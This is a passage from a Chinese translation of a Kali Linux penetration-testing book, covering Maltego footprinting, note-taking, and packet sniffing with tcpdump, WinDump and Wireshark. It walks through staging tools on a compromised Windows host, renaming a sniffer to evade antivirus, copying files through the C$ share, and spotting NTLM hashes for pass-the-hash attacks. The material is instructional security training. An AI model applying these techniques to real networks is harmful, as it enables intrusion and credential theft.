在这里,您可以以各种格式生成报告。选择所需的格式,然后点击绿色按钮,如下面的屏幕截图所示:

然后您可以下载报告。您可以编辑报告以显示您公司的标志和任何未包含在文档中的必要公司信息:

使用 Maltego

Maltego是一个信息收集工具,除了收集网络信息外,还有许多其他用途。您还可以从各种来源收集有关人员和公司的信息。现在,我们将使用它来收集有关公共网络的网络信息。

第一次启动 Maltego 时,您需要进行一些设置,并在其网站上注册,以便登录到转换服务器。这很容易,免费,没有垃圾邮件,因此提供您的电子邮件地址不会成为问题。首先,您需要选择要使用的版本。Maltego XL 和 Classic 是专业版本,您必须支付才能获得许可证。CE 版本是免费版本,而您正在学习如何使用此工具时,我们将在以下部分中使用的 CE 版本将完全正常工作。如果您是以渗透测试为生,那么 Classic 版本的许可证有点昂贵,但是非常值得。付费版本将在搜索中提取超过 10,000 个实体。CE 版本对每个实体的限制为 10 个。

  1. 因此,选择 CE 版本,然后点击“运行”:

  1. 接下来,填写您用于注册的信息,解决验证码,然后点击“下一步”:

  1. 所以,我们都注册了,然后我们得到了以下窗口。点击“下一步”继续:

  1. 接下来,我们会得到一个询问如何开始的窗口。我们将选择一个空白图表,然后点击“完成”,如下所示:

  1. 点击“完成”后,我们会得到一个空白图表页面,如下所示:

所以,让我们足迹一个域名。

  1. 点击并将左侧工具栏中的域图标拖动到图表页面的中心。默认域显示为 paterva.com。这是 Maltego 的网站,现在只是一个占位符。

在右下角的工具栏中,在属性视图中,将 paterva.com 更改为您想要足迹的域。

记住:永远不要测试您不拥有或没有书面许可的任何东西!监狱不好玩,有关黑客行为的权力正在严厉打击,您不想被贴上网络恐怖分子的标签。不,您没有权限测试我的东西。请友好相处!

在接下来的部分中,我们将足迹作者的一个域:boweaver.com。由于我拥有该域,我允许自己测试该域:

  1. 接下来,右键单击域图标,您将会得到一个命令窗口。

  2. 点击双箭头。这将在域上运行所有转换。这将花费一分钟来运行。

一旦转换完成,您将在屏幕上看到输出信息。只需点击一下,应用程序就会出去,检查许多在线来源,并提取有关域的许多基本信息:所有者、IP 地址、该地址的物理位置等等。现在,您可以右键单击任何这些实体,以深入了解并收集更多信息:

现在我们已经生成了一些数据,我们需要保存我们的结果。点击 Maltego 图标(窗口左上角的三个彩色圆圈组成的圆圈),然后点击“另存为”,将文件保存到项目工作区,如下所示:

现在让我们看一下收集到的一些信息。从第一行,我们可以看出该域名在 GoDaddy 注册。DNS 列出的管理员电子邮件地址是postmaster@boweaver.com。在第二行,我们看到其他 DNS 记录条目,显示了邮件服务器(bomail)和 Web 服务器(www)。我们还看到与域boweaver.net有关系。在第三行,我们看到搜索从转换源找到的几个电子邮件地址。此外,该域的 MX 记录列表显示了bomail.boweaver.com和该域的邮件服务器。第四行显示了 NS 服务器和与该域连接的实体。

我们可以在以下截图中看到数据输出的左侧部分。通过查看列出的滥用电子邮件地址,我们可以知道该域名设置了隐私保护,因此电话号码和电子邮件地址指向了 GoDaddy。我们还看到了相关网站www.boweaver.com。因此,一个简单的一键搜索揭示了关于该域名、其结构和所有者的大量信息。

通过右键单击网站,我们得到以下窗口。通过单击“解析为 IP”旁边的双箭头,我们可以获取该网站的 IP 地址和网络信息:

因此,通过深入挖掘,我们已经找到了 IP 地址、分配的网络块和自治系统号(ASN)。我们还可以看到该网站托管在 Digital Oceans 的纽约数据中心:

Maltego 允许您将此信息保存到表格(CSV 文件),生成报告,或将图表导出为图像:

因此,通过这个应用程序的两次鼠标点击,而实际上并没有触及目标的任何资产,我们已经确定了大量关于目标的信息。

这只是这个工具的简单用法。这个工具可以挖掘的信息深度令人震惊,也有点可怕,特别是如果您使用专业版。这个工具的完整使用超出了本书的范围。关于这个工具的深入使用有很多在线资源。

使用 KeepNote

在这里要说一下笔记!渗透测试收集了大量数据,即使是在一个小网络上,我是说非常多!因此,在进行渗透测试时,您需要在进行测试时能够收集到来的数据。Kali 配备了几个应用程序来实现这一点。无论您选择哪一个,只需选择一个并使用它。测试运行后六周,当您需要回头验证某些内容时,您会为自己的选择感到高兴。此外,在进行高安全环境的测试时,比如必须符合 HIPPA 或 PCI 标准的网络,这些笔记在撰写报告时尤其有用。另外,请确保将所有项目文件放在一个目录中,并与此框架一起使用。做好笔记的另一个原因是,如果出现法律诉讼,您的笔记可能是您最好的辩护。

以下截图显示了 Bo 使用的框架。他为客户组织创建一个文件夹,然后为实际测试创建一个带有日期的文件夹名称。可以肯定的是,无论您在哪里从事业务,您都会反复看到相同的客户。如果您没有看到重复的业务,那么您自己的业务模式可能存在问题。Ext-20150315 表示在 20150315 进行的外部测试。20150315 是一个 Unix 风格的日期,可以分解为 YYYYMMDD。如果您看到看起来像 20150317213209 的 Unix 风格日期戳,那么这可以被分解到秒。在该文件夹内,Bo 设置了用于证据、笔记和扫描文档的目录。所有收集的证据,包括截图,都放入evidence文件夹。来自 KeepNote 的笔记保存在notes文件夹中,扫描和其他相关文档保存在scans-docs文件夹中。当我们在本书的后面开始进行测试时,您将看到这个框架被使用。

以下是文件夹布局的截图。在这种情况下,我们使用 LXDE 文件管理器:

即使您只为一家公司工作,也要保持每个测试的数据分开并标记日期;这将帮助您跟踪测试情况。

对于实际的笔记,Kali 配备了几个应用程序,如之前所示;Maltego 是其中之一,能够将所有数据保存在一个地方。

博最喜欢的是 KeepNote。您在第一章中看到了 KeepNote 的介绍,选择您的发行版。KeepNote 是一个简单的笔记应用程序。在 Bo 的测试中,他保存了手动利用的输出副本,单独的扫描数据和截图。好处在于您可以随时格式化数据,因此稍后将其导入模板只是复制/粘贴的问题。

摘要

在本章中,您已经了解了 Nmap 工具的许多用途,以及其 GUI 界面 Zenmap。我们了解了 OpenVAS 漏洞扫描器的详细用法,以及在攻击中使用这些数据。我们还了解了信息收集工具 Maltego 的用法。

进一步阅读

第四章:嗅探和欺骗

嗅探网络流量可以帮助你了解哪些用户正在使用你可以利用的服务,以及

IP 欺骗可以用来毒害系统的 DNS 或 ARP 缓存,以便将所有流量发送到中间人(例如你指定的主机)。嗅探和欺骗经常用于网络中的 Windows 端点,你需要了解坏人将要使用的技术。

  • 嗅探网络流量:有许多工具可以嗅探网络流量,但它们都是基于同样的原理。捕获你的网络接口卡NIC)可读的数据包。有数百种协议和数千个 TCP/IP 端口。可以肯定的是你不需要了解所有这些,但你可能会学习几十种。

  • 欺骗网络流量:TCP/IP 系统是信任的。网络工作的一般假设是可信任的。当恶意者决定对网络数据包的组装方式玩一些把戏时会发生什么?这就是欺骗。例如,当一个 ICMP 数据包广播到大量主机时,但源 IP 地址已被伪造指向特定目标主机,所有发送广播数据包的主机都会向受害者发送意外的确认。这就是Smurf 攻击,它会占用受害者的机器。Smurf 攻击是许多拒绝服务攻击中的一种。

在本章中,我们将学习以下主题:

  • 嗅探和欺骗网络流量

  • 嗅探网络流量

  • 欺骗网络流量

技术要求

在本章中,你至少需要两台运行 Windows 的机器,可以是实际机器也可以是虚拟机器,以及你的 Kali 机器。

嗅探和欺骗网络流量

你很可能已经注意到 Kali Linux 的座右铭:你越安静,你就越能听到更多声音。这是嗅探网络流量的核心。你悄悄地监听网络流量,复制每个数据包。每个数据包都很重要,否则它就不会存在。戴上你的安全帽,想一想这一点。你明白为什么明文发送密码是如此糟糕吗?例如,Telnet、FTP 和 HTTP 等协议会以明文发送密码,而不是加密哈希。任何数据包嗅探器都可以捕获这些密码,而不需要天才就可以搜索数据包捕获中的密码等术语。无需破解哈希;它就在那里。你可以通过从空气中提取他们的明文密码来给经理或客户留下深刻印象。坏人也使用相同的技术来侵入网络并窃取金钱和机密。

你复制的数据包中不仅包含密码。数据包嗅探器不仅用于这个目的。在寻找网络上的攻击者时,它们也很有用。你无法躲避数据包嗅探器。数据包嗅探器也非常适用于网络诊断。例如,网络运行缓慢可能是由于服务器上的一个网卡出现问题,正在向无人发送数据,或者一个运行失控的进程占用了其他进程的响应。

如果嗅探是监听网络,那么欺骗就是在网络上撒谎。你所做的是让攻击机器对网络撒谎,并假装成其他人。使用接下来描述的一些工具,并在攻击机器上的两个网络卡上,你甚至可以将流量传递到真实主机,并捕获两台机器之间的所有流量。这是一种中间人MitM)攻击。在大多数渗透测试中,你实际上只需要获取密码哈希,而不需要进行完整的 MitM 攻击。只是欺骗而不传递流量将在 NetBIOS 的 ARP 广播中显示密码哈希。

黑客提示:

高级黑客实验室:如果您计划在您的网络上运行全面的 MitM 攻击,您将需要一个至少有两个网卡的主机,以及安装了 Kali Linux 的笔记本电脑。您的 MitM 主机可以是虚拟的或物理的服务器。

嗅探网络流量

在这里,我们将学习 Kali 标志的含义,你变得越安静,你就能听到的越多,以及可以从网络 passively 获得的信息。

tcpdump

tcpdump 是一个简单的命令行嗅探工具,可以在大多数路由器、防火墙和 Linux/UNIX 系统上找到。也有一个由 micoOLAP 制作的可以在 Windows 上运行的版本,可以在www.microolap.com/products/network/tcpdump/找到。它不是免费的,但有试用版本。这个版本的好处是它是一个简单的可执行文件,可以上传到系统并在不安装额外驱动程序的情况下使用。它可以在您有 shell 访问权限的破解系统上启动。您的 shell 必须具有系统或管理员级别的访问权限才能工作,因为没有管理员权限,网卡将无法以混杂模式运行。另一个数据包转储工具是Windump.exe,可以从www.winpcap.org/windump/install/获取,您还将在那里找到WinPcap.exe,您需要在机器上安装 tcpdump 或 WinDump。

在 Linux/UNIX 系统和 Cisco 或 Juniper 等路由器上,它很可能是默认安装的。如果您在 Linux 系统上找不到它,它在每个发行版的软件库中都有。

tcpdump 最好不用于实时检查数据,而是用于捕获数据到文件中,以便以后使用诸如 Wireshark 之类的工具查看。由于其体积小、可移植性强,并且可以从命令行中使用,tcpdump 非常适合这项任务。

在下面的屏幕截图中,我们看到tcpdump在不保存到文件的情况下运行;请注意,我们可以看到数据包通过接口时的情况。

我们正在运行的命令是:

tcpdump -v -i vmnet1  

-v 将应用程序置于详细模式。-i vmnet1 告诉应用程序只捕获vmnet1接口上的数据包。按下 Enter 键,tcpdump 将开始捕获数据包并在屏幕上显示。要停止捕获,按下 Ctrl + C

现在,在这种模式下,数据传输速度太快,无法进行实际使用,特别是在大型网络上,所以下一步我们将数据保存到文件中,这样我们就可以在闲暇时使用更好的查看工具查看数据:

现在我们将运行以下命令并将输出导向一个 .pcap 文件。请注意,屏幕上没有您之前看到的输出。数据现在正在写入文件而不是屏幕。运行以下命令:

tcpdump -v -i vmnet1 -w kalibook-cap-20150411.pcap  

请注意,我们在命令中添加了-w kalibook-cap-20150411.pcap-w标志告诉应用程序将输出写入名为kalibook-cap-20150411.pcap的文件中。文件应该有一个描述性的名称,我还在文件名中包含了日期。如果您不从时间到时间进行测试并且不从系统中删除文件,同一系统上的几个这样的文件可能会令人困惑。.pcap是行业中用于数据包文件的标准文件扩展名,代表Packet Capture File。这个文件可以通过文件传输方法移动到另一台机器上:

请注意,此捕获是在名为Wander的机器上完成的。Wander 是我们网络的防火墙,如果可能的话,这是捕获网络流量的最佳位置。现在我们将把它传输到我们的 Kali 盒子上检查数据包。

首先,在我们的 Kali 机器上,我们需要启动 SSH 服务。正如我们之前所说,Kali 包括您在任何 Linux 服务器上都会找到的所有网络服务,但出于安全原因,默认情况下所有服务都被关闭,必须手动启动才能使用。我们将使用以下命令启动 SSH:

service ssh start  

我们可以看到 SSH 服务启动,并通过运行netstat -tl命令,我们可以看到 SSH 服务在所有接口上都在监听。现在我们将从防火墙传输文件到 Kali。

在 Kali 上,运行以下命令:

ifconfig 

这将显示你的 IP 地址:

现在,从防火墙上运行以下命令将文件传输到 Kali:

scp kalibook-cap-20150411.pcap root@192.168.202.129:kalibook/kalibook-cap-20150411.pcap  

通过输入yes接受密钥警告,然后在提示时输入 root 密码。

我在演示中犯了一个错误,试图将其发送到错误的目录。没有workspace目录。如果你看到这种类型的错误,这很可能是原因。请注意,我已将此文件直接发送到 Kali 盒子上的项目目录:

完成后,不要忘记关闭 SSH:

service ssh stop  

这对于内置 SSH 的系统来说很好,但是 Windows 呢?大多数人似乎使用putty.exe,但是你的被入侵的服务器系统不太可能安装 putty。我们将退而使用老式的 FTP。大多数 Windows 系统都带有 FTP 命令行实用程序。有时,注重安全的系统管理员会从计算机中删除ftp.exe,这会阻止这种类型的文件传输。通常它是存在的供你使用。如果不存在,请访问www.coreftp.com/并下载 Core FTP。他们有一个免费版本适用于此应用程序,并且您还可以获得更多功能的付费许可证。

现在我们将把tcpdump实用程序传输到我们的被入侵的 Windows 机器上,以捕获一些数据包。

首先,我们需要在 Kali 上设置 FTP 服务来回传输。我们将使用我们的朋友 Metasploit 来实现这一点。Metasploit 为此提供了一个易于使用的 FTP 服务。我们需要一个工作文件夹:

  1. 在 Kali 桌面上打开计算机。

  2. 在左侧列表中点击主页链接。

  3. 右键单击文件夹区域,选择创建新文件夹。

  4. 将其命名为public,然后右键单击文件夹,转到属性。

  5. 点击权限选项卡,为组和其他人提供读/写访问权限以及创建和删除文件的能力,如下截图所示:

  1. 如果使用命令行,则通过mkdir public创建一个目录。

  2. 然后输入以下命令:

chmod 777 public

现在将NDIS drivertcpdump.exe复制到public文件夹。您可能需要根据目标网络上可能使用的防病毒软件和/或 IDS/IPS 系统的情况来重命名 tcpdump 文件。我已将名称更改为tdpdump.jpgmicroolap_pssdk6_driver_for_ndis6_x86_v6.1.0.6363.msi驱动文件通常可以通过。

现在在 Kali 盒子上启动 Metasploit,方法是转到应用程序| Kali Linux | 系统服务 | community/pro start 来启动服务。一旦服务启动,打开一个终端窗口,输入msfpro

Metasploit 将启动。一旦 Metasploit 运行起来,进入你的项目工作空间。我的工作空间名为kali-book-int-20150300

workspace kali-book-int-20150300  

现在我们将配置 FTP 服务器并启动它。要加载 FTP 服务器,请输入以下命令:

use auxiliary/server/ftp
 show options  

你会看到以下配置选项:

我们需要更改FTPROOT设置类型:

set FTPROOT /root/public
show options  

通过再次运行show options命令,我们可以检查我们的配置。我们已经准备好了。输入以下命令:

run  

你会看到以下内容:

你可以通过运行以下命令查看服务:

netstat-tl      

现在让我们将文件复制到我们的被入侵的 Windows 机器上,并捕获一些有用的数据包!我们将在 Windows 上使用 WinDump 进行此过程。

WinDump(Windows tcpdump)

WinDump 是 Windows 的 tcpdump。它是开源的,属于 BSD 许可证。您可以在www.winpcap.org/windump/下载。

您还需要 WinPcap 驱动程序,因此一定要从网站上获取它们。

WinDump 可以从命令行、PowerShell 或远程 shell 中工作。与 tcpdump 一样,它将写入一个文件,您可以下载以进行离线查看。

现在让我们将文件复制到我们的被入侵的 Windows 机器上。从命令行、Power Shell 或被入侵的远程 shell 中,登录到 Kali 上的 FTP 服务器。我的 Kali 盒子在192.168.202.129

ftp 192.168.202.129  

系统将要求输入用户名。只需按Enter。它还会要求输入密码。再次只需按Enter,然后输入以下命令:

dir  

这将显示目录的内容:

如前面的截图所示,我们看到了我们的WinPcap驱动程序和我们的未伪装的WinDump.exe。要下载它们,只需输入以下命令:

get WinPcap_4_1_3.exe  

然后输入以下命令:

get WinDump.exe  

我们已经拿到了我们的文件。现在按照以下步骤退出:

quit  

如我们所见,现在我们通过输入以下命令在本地拥有了我们的文件:

dir  

我们还可以在 Metasploit 中的运行实例中看到文件正在传输到 Kali:

现在登录到您的被入侵的 Windows 机器,可以通过 RDP 或从 Metasploit 启动 VNC 会话。从桌面,转到您下载文件的文件夹,并双击WinPcap.exe文件,如下截图所示:

接下来,您将获得许可证窗口。点击“我同意”并继续:

下一个屏幕开始实际安装驱动程序。一定要保持复选框选中以自动运行。如果以后需要返回,这将非常有帮助:

完成后,您就可以开始捕获一些数据包了。

启动命令行窗口或 Power Shell 并转到您拥有 WinDump 的目录。我们将其放在Downloads文件夹中。运行以下命令:

.\WinDump.exe  

很快您将开始看到数据包通过接口传输。您在屏幕上看到的数据量取决于您的系统与网络通信的频率。显然,这是远远超出实时理解的数据量。此外,在此模式下,您只能看到数据包的标头信息,而无法看到完整的数据包及其信息。在下面的截图中,黄色下划线显示了正在运行的命令,绿色下划线显示了它正在监听运行接口。之后,您将看到数据包进入。

现在让我们将我们的捕获转储到文件中,以便真正了解我们拥有什么:

.\WinDump.exe -w Win7-dump-20150411.pcap  

-w 文件告诉 WinDump 将文件写入到Win7-dump-20150411.pcap文件中。如下截图所示,使用-h标志运行 WinDump 将有所帮助,如果您忘记了写标志。运行一段时间后,按Ctrl + C停止捕获。现在您可以看到我们有一个包含我们捕获数据包的文件:

捕获后,我们需要将文件发送回 Kali 以分析数据包。

Windows 文件共享适用于此。如果未启用打印机和文件共享,请启用它以共享文件并返回到您的 Kali 盒子。

黑客提示:

此过程可能会引发警报,如果网络管理员有类似 Tripwire 的东西来检查配置更改,或者设置了 ArcSight 来标记管理用户的记录操作。

Kali 在所有桌面环境的文件管理器中都内置了 SMB 文件共享和 NetBIOS 发现。您可以从文件管理器映射到 SMB 共享。在以下演示中,我们使用 MATE 桌面。从其文件管理器,您可以通过转到菜单栏中的 Go | Location...来映射 SMB 共享:

这将给您一个转到:地址栏。由于我们将使用 SMB 协议,我们将使用前缀smb://。其他服务类型的共享也可以使用这种方法映射,例如 SSH、FTP 和 NFS 共享。要连接到受害者机器并复制文件,请键入smb://10.0.2.101/C$

然后按下Enter键。这对应隐藏的C$共享:

按下Enter后,会出现一个登录框。要登录共享,只需添加您拥有的 Windows 凭据,然后点击连接按钮。现在您将看到系统上的共享目录。深入文件夹并转到数据包捕获所在的目录。对我们来说,它将是Users\Administrator\Downloads

现在我们已经找到文件所在的位置,再次点击计算机图标,打开另一个文件管理器窗口,然后转到您项目的证据目录。然后只需将文件拖放到 Kali 的驱动器上:

现在我们准备好读取一些捕获的数据包了。

Wireshark

Wireshark 是数据包嗅探和分析网络数据包的行业标准。它不仅适用于 TCP/IP,还适用于几乎所有其他已知的协议和标准。Wireshark 有适用于每个知名操作系统的版本。在 Windows 上运行 Wireshark 需要本章前面提到的 WinPcap 驱动程序。在 Linux/UNIX 和 OSX 上,驱动程序通常已经存在。Wireshark 预装在 Kali 上。

Wireshark 是一个非常复杂的应用程序。已经有很多关于它的使用方法的书籍。我建议您获取一本并深入学习这个工具的使用。我们这里只会涵盖基础知识。

如果你真的思考一下,互联网是什么?有些人指着他们的网络浏览器说那里就是互联网。系统管理员可能会给你一个关于服务器和设备在网络上传输数据的长篇回答。每个人的回答都是正确的,但仍然没有完全理解它到底是什么。互联网就是数据包。没有数据包,信息就无法传输。大多数人没有意识到 TCP/IP 是两个独立工作的协议套件。有 IP,然后有 TCP 和 UDP,它们运行在 IP 之上。然后所有这些都运行在互联网帧之上。

我们稍后会回到 Wireshark。首先我们需要了解什么是数据包。

数据包

让我们看一个数据包。以下只是从捕获的数据流中提取的一小部分信息。请记住:这只是一个数据包!

哦,这里有一点历史。如果你看一下数据包的结构,再看一下旧电报消息的结构,你会注意到它们的结构是一样的。是的,数据包基本上就是一封电报。另外,记住莫尔斯电码基本上是一种四位二进制语言。

请注意,首先我们有。帧包含有关数据包的基本信息,您可以看到。Wireshark 捕获了传输线上的字节。这也保留了数据包的时间,用于在接收时重新组装数据包:

Frame 9: 188 bytes on wire (1504 bits), 188 bytes captured (1504 bits) 
  Encapsulation type: Ethernet (1) 
  Arrival Time: Apr 12, 2015 01:43:27.374355000 EDT 
  [Time shift for this packet: 0.000000000 seconds] 
  Epoch Time: 1428817407.374355000 seconds 
  [Time delta from previous captured frame: 0.002915000 seconds] 
  [Time delta from previous displayed frame: 0.002915000 seconds] 
  [Time since reference or first frame: 9.430852000 seconds] 
  Frame Number: 9 
  Frame Length: 188 bytes (1504 bits) 
  Capture Length: 188 bytes (1504 bits) 
  [Frame is marked: False] 
  [Frame is ignored: False] 
  [Protocols in frame: eth:ip:tcp:nbss:smb] 
  [Coloring Rule Name: SMB] 
  [Coloring Rule String: smb || nbss || nbns || nbipx || ipxsap || 
       netbios]

接下来,我们有数据包的 IP 部分。我们看到这包含了源和目标接口的 MAC 地址。您的 MAC 地址是您真实的机器地址。堆栈的 IP 部分进行路由,以便这两个 MAC 地址可以找到彼此:

Ethernet II, Src: Vmware_07:7e:d8 (00:0c:29:07:7e:d8), Dst: Vmware_45:85:dc (00:0c:29:45:85:dc) 
  Destination: Vmware_45:85:dc (00:0c:29:45:85:dc) 
    Address: Vmware_45:85:dc (00:0c:29:45:85:dc) 
    .... ..0\. .... .... .... .... = LG bit: Globally unique address (factory default) 
    .... ...0 .... .... .... .... = IG bit: Individual address (unicast) 
  Source: Vmware_07:7e:d8 (00:0c:29:07:7e:d8) 
    Address: Vmware_07:7e:d8 (00:0c:29:07:7e:d8) 
    .... ..0\. .... .... .... .... = LG bit: Globally unique address (factory default) 
    .... ...0 .... .... .... .... = IG bit: Individual address (unicast) 
  Type: IP (0x0800) 
Internet Protocol Version 4, Src: 192.168.202.130 (192.168.202.130), Dst: 192.168.202.128 (192.168.202.128) 
  Version: 4 
  Header length: 20 bytes 
  Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 
  Total Length: 174 
  Identification: 0x033f (831) 
  Flags: 0x02 (Don't Fragment) 
  Fragment offset: 0 
  Time to live: 128 
  Protocol: TCP (6) 
  Header checksum: 0xe0b6 [correct] 
    [Good: True] 
    [Bad: False] 
  Source: 192.168.202.130 (192.168.202.130) 
  Destination: 192.168.202.128 (192.168.202.128) 
  [Source GeoIP: Unknown] 
  [Destination GeoIP: Unknown] 

数据包的下一部分是 TCP 介入的地方,设置要使用的 TCP 或 UDP 协议类型以及用于传输数据包的分配源和目的端口。这个数据包是从客户端机器(源)发送的。从前面的 IP 部分,我们看到客户端 IP 地址是192.168.202.130。我们看到客户端的端口是49161。这个数据包被发送到192.168.202.128(目的地)的端口445。由于这是 TCP,返回路由也包括返回的流量。仅通过“目的地端口”信息,我们就可以知道这是某种类型的 SMB 流量:

Transmission Control Protocol, Src Port: 49161 (49161), Dst Port: microsoft-ds (445), Seq: 101, Ack: 61, Len: 134 
  Source port: 49161 (49161) 
  Destination port: microsoft-ds (445) 
  [Stream index: 0] 
  Sequence number: 101  (relative sequence number) 
  [Next sequence number: 235  (relative sequence number)] 
  Acknowledgment number: 61  (relative ack number) 
  Header length: 20 bytes 
  Flags: 0x018 (PSH, ACK) 
    000\. .... .... = Reserved: Not set 
    ...0 .... .... = Nonce: Not set 
    .... 0... .... = Congestion Window Reduced (CWR): Not set 
    .... .0.. .... = ECN-Echo: Not set 
    .... ..0\. .... = Urgent: Not set 
    .... ...1 .... = Acknowledgment: Set 
    .... .... 1... = Push: Set 
    .... .... .0.. = Reset: Not set 
    .... .... ..0\. = Syn: Not set 
    .... .... ...0 = Fin: Not set 

在数据包信息中,0 表示否,1 表示是。

  Window size value: 63725 
  [Calculated window size: 63725] 
  [Window size scaling factor: -1 (unknown)] 
  Checksum: 0xf5d8 [validation disabled] 
  [SEQ/ACK analysis] 
    [This is an ACK to the segment in frame: 8] 
    [The RTT to ACK the segment was: 0.002915000 seconds] 
    [Bytes in flight: 134] 

我们看到这是使用 SMB 协议的 NetBIOS 会话:

NetBIOS Session Service 
  Message Type: Session message (0x00) 
  Length: 130 
SMB (Server Message Block Protocol) 
  SMB Header 
    Server Component: SMB 
    [Response in: 10] 
    SMB Command: NT Create AndX (0xa2) 
    NT Status: STATUS_SUCCESS (0x00000000) 
    Flags: 0x18 
    Flags2: 0xc807 
    Process ID High: 0 
    Signature: 0000000000000000 
    Reserved: 0000 
    Tree ID: 2049 
    Process ID: 2108 
    User ID: 2048 
    Multiplex ID: 689 
  NT Create AndX Request (0xa2) 
    [FID: 0x4007] 
    Word Count (WCT): 24 
    AndXCommand: No further commands (0xff) 
    Reserved: 00 
    AndXOffset: 57054 
    Reserved: 00 
    File Name Len: 44 
    Create Flags: 0x00000016 
    Root FID: 0x00000000 

接下来,我们已经被授予了我们正在请求的数据的访问权限。我们现在可以看到这个数据包涉及访问一个文件。发出此请求的用户具有查看所请求文件的以下权限。我们可以从前面的代码中看到,文件请求已经获得了成功的状态。

    Access Mask: 0x00020089 
      0... .... .... .... .... .... .... .... = Generic Read: Generic read is NOT set 
      .0.. .... .... .... .... .... .... .... = Generic Write: Generic write is NOT set 
      ..0\. .... .... .... .... .... .... .... = Generic Execute: Generic execute is NOT set 
      ...0 .... .... .... .... .... .... .... = Generic All: Generic all is NOT set 
      .... ..0\. .... .... .... .... .... .... = Maximum Allowed: Maximum allowed is NOT set 
      .... ...0 .... .... .... .... .... .... = System Security: System security is NOT set 
      .... .... ...0 .... .... .... .... .... = Synchronize: Can NOT wait on handle to synchronize on completion of I/O 
      .... .... .... 0... .... .... .... .... = Write Owner: Can NOT write owner (take ownership) 
      .... .... .... .0.. .... .... .... .... = Write DAC: Owner may NOT write to the DAC 
      .... .... .... ..1\. .... .... .... .... = Read Control: READ ACCESS to owner, group and ACL of the SID 
      .... .... .... ...0 .... .... .... .... = Delete: NO delete access 
      .... .... .... .... .... ...0 .... .... = Write Attributes: NO write attributes access 
      .... .... .... .... .... .... 1... .... = Read Attributes: READ ATTRIBUTES access 
      .... .... .... .... .... .... .0.. .... = Delete Child: NO delete child access 
      .... .... .... .... .... .... ..0\. .... = Execute: NO execute access 
      .... .... .... .... .... .... ...0 .... = Write EA: NO write extended attributes access 
      .... .... .... .... .... .... .... 1... = Read EA: READ EXTENDED ATTRIBUTES access 
      .... .... .... .... .... .... .... .0.. = Append: NO append access 
      .... .... .... .... .... .... .... ..0\. = Write: NO write access 
      .... .... .... .... .... .... .... ...1 = Read: READ access 
    Allocation Size: 0 
    File Attributes: 0x00000000 
    Share Access: 0x00000007 SHARE_DELETE SHARE_WRITE SHARE_READ 
    Disposition: Open (if file exists open it, else fail) (1) 
    Create Options: 0x00000044 
    Impersonation: Impersonation (2) 
    Security Flags: 0x03 
    Byte Count (BCC): 47 
    File Name: \My Videos\desktop.ini 

所有前面的代码都是为了让一台计算机知道另一台计算机上存在一个名为\My Videos\desktop.ini的文件。发送了 47 字节的信息。现在这不是实际的文件,而只是文件的列表。基本上,这将是使文件图标出现在你的窗口管理器中的数据包。发送这么少的数据确实需要很多工作:

No.   Time    Source        Destination      Protocol Length Info 
   10 9.431187  192.168.202.128    192.168.202.130    SMB   193  NT Create AndX Response, FID: 0x4007 

现在我们对数据包有了一些了解,让我们回到 Wireshark。

使用 Wireshark

让我们打开它并打开我们的捕获。首先,转到应用程序 | Kali Linux | 前 10 个安全工具 | wireshark。当它启动时,它会警告你以root身份运行。只需点击通过。如果愿意,可以勾选不再显示这些警告的复选框。当你使用 Kali 时,你将始终以root身份工作。

另一个警告:永远不要在生产 Linux 机器上这样做。除了 Kali 之外,永远不要以root身份登录和运行。Wolf 在他的 Kali Linux 测试盒中添加了一个标准用户和sudo,只有在实际运行测试时才以root身份运行。

警告后,窗口将打开。正如我们所看到的,我们有一个非常好的界面。你不仅可以阅读捕获的数据,还可以从列出的本地接口捕获数据包。在右侧,你会看到一个在线帮助的部分。如果你迷失了并且需要帮助,那就是你去的地方。你会在网上找到大量的帮助:

让我们打开我们的捕获。点击文件 | 打开,你会得到一个文件菜单。导航到你的文件所在的位置,然后点击打开:

现在捕获已经打开,所有捕获的数据都列在顶部屏幕上。每个列表都是一个数据包。你所看到的是数据包的头信息,它的源,目的地和协议类型。

通过在顶部屏幕上点击一个数据包,该数据包的完整信息将显示在中间屏幕上。这将是我们之前在分解数据包时看到的信息。这就是你会看到这些信息的地方。实际上,这是以人类可读的形式呈现的数据包。在底部屏幕上,我们有实际的原始数据包以机器语言显示。通过在中间屏幕上的信息行上点击,Wireshark 将以蓝色突出显示机器语言字符串,显示该代码在数据包中的位置:

从第一个屏幕上看,我们可以看到整体的流量。我们看到一台机器发出了 DHCPv6 Solicit 呼叫,但没有从任何地方得到响应。嗯,IPv6 在这个网络上必须被关闭了。接下来,我们看到192.168.202.128192.168.202.130之间来回的 SMB 通信。仅从头部信息,我们就可以看到这个传输是用于在192.168.202.128上使用 SMB 的文件信息。仅仅通过查看头部信息,我们就可以知道.130上的用户可以访问.128

那么好东西在哪里?在下面的截图中,我们有一个SMB NTLMSSP数据包,甚至可以看到这是用于账户IVEBEENHAD\Administrator的。通过选择数据包,我们可以深入到数据包中,找到密码的 NTLM 哈希值。这本身可以用于传递哈希的利用工具。您还可以将这个哈希值带入离线密码破解工具,比如 John the Ripper 或 Hydra。请注意,您还可以在底部屏幕的原始数据包信息中看到该值:

Wireshark 最好的功能之一是搜索功能。这个功能的细节足够写一本书。您可以使用过滤器字段右侧的 Expression...按钮构建表达式。从简单的过滤器,比如ip != 10.0.0.232(用于切出所有发送到您的 Kali 盒子的流量),或者通过在过滤器字段中输入 SMTP 来检查意外的 SMTP 流量,学习最需要的过滤器时会有无尽的乐趣。在线帮助会解释很多内容,就像所有良好的知识库一样,它也会引发新的问题:

欺骗网络流量

互联网上有几种欺骗的定义:

  • 电子邮件欺骗:最常见的定义是通过使用假电子邮件地址伪装成不同的人。在尝试钓鱼攻击时,这很有效,受害者会收到一封假装来自他们的银行或零售商的电子邮件。

  • 域名欺骗:可以欺骗域名,在网络或个人工作站上毒害路由表。其工作原理是用户在浏览器地址栏中输入的域名被错误地指向错误的 IP 地址。当受害者访问bankarmenia.com/时,他们最终会进入一个看起来与亚美尼亚银行网站完全相同的钓鱼网站,但实际上并不是。这用于收集用户的凭证,以进行盗窃。

  • 域名错误欺骗:黑客购买常见错误的域名,比如https://www.yaahoo.com/。他们建立一个看起来像www.yahoo.com/的网站,并从所有的拼写错误中获益。

  • IP 欺骗:制作精心制作的数据包,目的是伪装成不同的机器,或者为了隐藏数据包的来源。

Ettercap

